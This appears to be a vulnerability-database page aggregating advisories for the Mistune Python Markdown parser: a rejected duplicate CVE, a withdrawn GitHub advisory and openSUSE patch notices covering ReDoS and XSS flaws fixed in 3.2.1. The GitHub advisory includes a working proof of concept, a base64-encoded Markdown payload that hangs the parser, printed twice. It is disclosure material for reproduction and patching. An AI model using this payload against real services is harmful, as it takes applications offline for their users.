CVE-2026-33441 (GCVE-0-2026-33441)
Vulnerability from cvelistv5 – Published: – Updated: 2026-05-06 19:28
VLAI
This CVE is a duplicate of another CVE: CVE-2026-33079.
Replaced by CVE-2026-33079
Show details on NVD website{
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"dateReserved": "2026-03-19T18:45:22.438Z",
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FKIE_CVE-2026-33441
Vulnerability from fkie_nvd - Published: 2026-05-06 20:16 - Updated: 2026-05-06 20:16
Severity
Summary
Rejected reason: This CVE is a duplicate of another CVE: CVE-2026-33079.
References
| URL | Tags |
|---|
Impacted products
| Vendor | Product | Version |
|---|
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"lastModified": "2026-05-06T20:16:31.473",
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"references": [],
"sourceIdentifier": "security-advisories@github.com",
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GHSA-95RC-Q2RV-9F92
Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-06 21:31
VLAI
Details
Rejected reason: This CVE is a duplicate of another CVE: CVE-2026-33079.
{
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"aliases": [
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],
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"nvd_published_at": "2026-05-06T20:16:31Z",
"severity": null
},
"details": "Rejected reason: This CVE is a duplicate of another CVE: CVE-2026-33079.",
"id": "GHSA-95rc-q2rv-9f92",
"modified": "2026-05-06T21:31:42Z",
"published": "2026-05-06T21:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33441"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HJPH-F4MC-WX4C
Vulnerability from github – Published: 2026-05-06 16:56 – Updated: 2026-05-06 19:41
VLAI
Summary
Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input
Details
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.
Original Description
Summary
Denial-of-Service (DoS) vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.
Function affected: parse_link_title() in helpers.py Issue: Malformed reference links cause excessive backtracking and parsing loops. Impact: Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.
Details
Name: mistune
Version: 3.2.0
Python version: Python 3.13.9
PIP version: pip 25.2
OS: Kali-linux-VERSION="2025.4"
PoC
import mistune
import base64
print("Exploit started....!")
data = base64.b64decode(
"WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg=="
)
mistune.html(data.decode("utf-8", errors="ignore"))
Reproduce steps:
Simply execute above python script it will hang & increase cpu utilization to 100%
Fuzzer Output (libFuzzer):
ERROR: libFuzzer: timeout after 3 seconds
SUMMARY: libFuzzer: timeout
Stack Trace (Excerpt):
mistune/helpers.py:170 in parse_link_title
mistune/block_parser.py:259 in parse_ref_link
mistune/core.py:216 in parse_method
mistune/block_parser.py:458 in parse
mistune/markdown.py:93 in parse
mistune/markdown.py:120 in __call__
IMAGE POC:
Impact:
Denial-of-Service (DoS) High CPU usage and application hang Potential for service unavailability in web apps or APIs processing untrusted Markdown
Suggested Mitigations:
Implement parsing depth and iteration limits. Limit reference-link title length. Detects excessive escape character sequences. Add defensive checks in parse_link_title. Add fuzz regression tests using the provided PoC.
This vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.
Severity
{
"affected": [
{
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},
"package": {
"ecosystem": "PyPI",
"name": "mistune"
},
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"events": [
{
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},
{
"fixed": "3.2.1"
}
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"type": "ECOSYSTEM"
}
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],
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"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mp2-v27r-99xp. This link is maintained to preserve external references.\n\n### Original Description\n\n### Summary\n**Denial-of-Service (DoS)** vulnerability in the Mistune Markdown parser. The issue occurs when processing specially crafted reference links, which can cause excessive parsing and CPU consumption, leading to application hangs.\n\n**Function affected:** parse_link_title() in helpers.py\n**Issue:** Malformed reference links cause excessive backtracking and parsing loops.\n**Impact:** Remote attackers can submit malicious Markdown to hang processes, causing service unavailability.\n\n### Details\n```\nName: mistune\nVersion: 3.2.0\nPython version: Python 3.13.9\nPIP version: pip 25.2\nOS: Kali-linux-VERSION=\"2025.4\"\n```\n\n### PoC\n```\nimport mistune\nimport base64\n\nprint(\"Exploit started....!\")\ndata = base64.b64decode(\n \"WX5Efn5+RH5+fkRbIVt6XQoKW3q7XTpdOgoifn5+RFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcflt+RFshW3pdCgpbeg==\"\n)\nmistune.html(data.decode(\"utf-8\", errors=\"ignore\"))\n```\n\n### Reproduce steps:\nSimply execute above python script it will hang \u0026 increase cpu utilization to 100%\n\n**Fuzzer Output (libFuzzer):**\n```\nERROR: libFuzzer: timeout after 3 seconds\nSUMMARY: libFuzzer: timeout\n```\n\n**Stack Trace (Excerpt):**\n```\nmistune/helpers.py:170 in parse_link_title\nmistune/block_parser.py:259 in parse_ref_link\nmistune/core.py:216 in parse_method\nmistune/block_parser.py:458 in parse\nmistune/markdown.py:93 in parse\nmistune/markdown.py:120 in __call__\n```\n### IMAGE POC:\n\u003cimg width=\"1194\" height=\"728\" alt=\"POC\" src=\"https://github.com/user-attachments/assets/009e836f-fff7-439e-b0be-6e889bed0077\" /\u003e\n\n\n### Impact:\nDenial-of-Service (DoS)\nHigh CPU usage and application hang\nPotential for service unavailability in web apps or APIs processing untrusted Markdown\n\n### Suggested Mitigations:\nImplement parsing depth and iteration limits.\nLimit reference-link title length.\nDetects excessive escape character sequences.\nAdd defensive checks in parse_link_title.\nAdd fuzz regression tests using the provided PoC.\n\nThis vulnerability was discovered using coverage-guided fuzzing and is reproducible consistently.",
"id": "GHSA-hjph-f4mc-wx4c",
"modified": "2026-05-06T19:41:14Z",
"published": "2026-05-06T16:56:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-hjph-f4mc-wx4c"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Mistune has a ReDoS in LINK_TITLE_RE that allows denial of service via crafted Markdown input",
"withdrawn": "2026-05-06T19:41:14Z"
}
OPENSUSE-SU-2026:10761-1
Vulnerability from csaf_opensuse - Published: 2026-05-12 00:00 - Updated: 2026-05-12 00:00Summary
python311-mistune-3.2.1-1.1 on GA media
Severity
Moderate
Notes
Title of the patch: python311-mistune-3.2.1-1.1 on GA media
Description of the patch: These are all security issues fixed in the python311-mistune-3.2.1-1.1 package on the GA media of openSUSE Tumbleweed.
Patchnames: openSUSE-Tumbleweed-2026-10761
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Affected products
Recommended
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
6.1 (Medium)
Affected products
Recommended
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python311-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python313-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:python314-mistune-3.2.1-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
References
11 references
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OPENSUSE-SU-2026:20827-1
Vulnerability from csaf_opensuse - Published: 2026-05-28 12:07 - Updated: 2026-05-28 12:07Summary
Security update for python-mistune
Severity
Important
Notes
Title of the patch: Security update for python-mistune
Description of the patch: This update for python-mistune fixes the following issues
- CVE-2026-33079: ReDoS in `LINK_TITLE_RE` can lead to denial of service via a crafted Markdown (bsc#1264347).
- CVE-2026-33441: processing of malformed reference links can lead to excessive resource consumption and denial of
service (bsc#1264752).
- CVE-2026-44708: improper HTML escaping in the math plugin can lead to XSS (bsc#1264751).
- CVE-2026-44896: improper escaping in `render_figure` can lead to attribute injection and XSS (bsc#1264754).
- CVE-2026-44897: improper sanitization of user-controlled input in `HTMLRenderer.heading` can lead to XSS
(bsc#1264750).
- CVE-2026-44898: improper sanitization of user-supplied HTML input in `render_toc_ul` can lead to XSS (bsc#1265052).
- CVE-2026-44899: improper input verification in Image directive plugin and improper escaping in `render_block_image`
can lead to CSS injection (bsc#1265053).
Patchnames: openSUSE-Leap-16.0-816
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Affected products
Recommended
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
important
7.5 (High)
Affected products
Recommended
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
important
6.1 (Medium)
Affected products
Recommended
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
moderate
6.1 (Medium)
Affected products
Recommended
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
moderate
6.1 (Medium)
Affected products
Recommended
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
moderate
6.1 (Medium)
Affected products
Recommended
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
moderate
6.1 (Medium)
Affected products
Recommended
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Leap 16.0:python313-mistune-3.1.3-160000.3.1.noarch | — |
Vendor Fix
|
Threats
Impact
moderate
References
30 references
{
"document": {
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"namespace": "https://www.suse.com/support/security/rating/",
"text": "important"
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"category": "csaf_security_advisory",
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"text": "Mistune is a Python Markdown parser with renderers and plugins. In 3.2.0 and realier, in src/mistune/directives/image.py, the render_figure() function concatenates figclass and figwidth options directly into HTML attributes without escaping. This allows attribute injection and XSS even when HTMLRenderer(escape=True) is used, because these values bypass the inline renderer.",
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"category": "general",
"text": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening \u003chN\u003e tag by string-concatenating the id attribute value directly into the HTML - with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character \" in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.",
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"text": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a \u003cul\u003e table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href=\"#\u003cid\u003e\") and the text value (used as the visible link label) are inserted into \u003ca\u003e tags via a plain Python format string - with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href=\"#...\" attribute context, injecting arbitrary HTML tags including \u003cscript\u003e blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.",
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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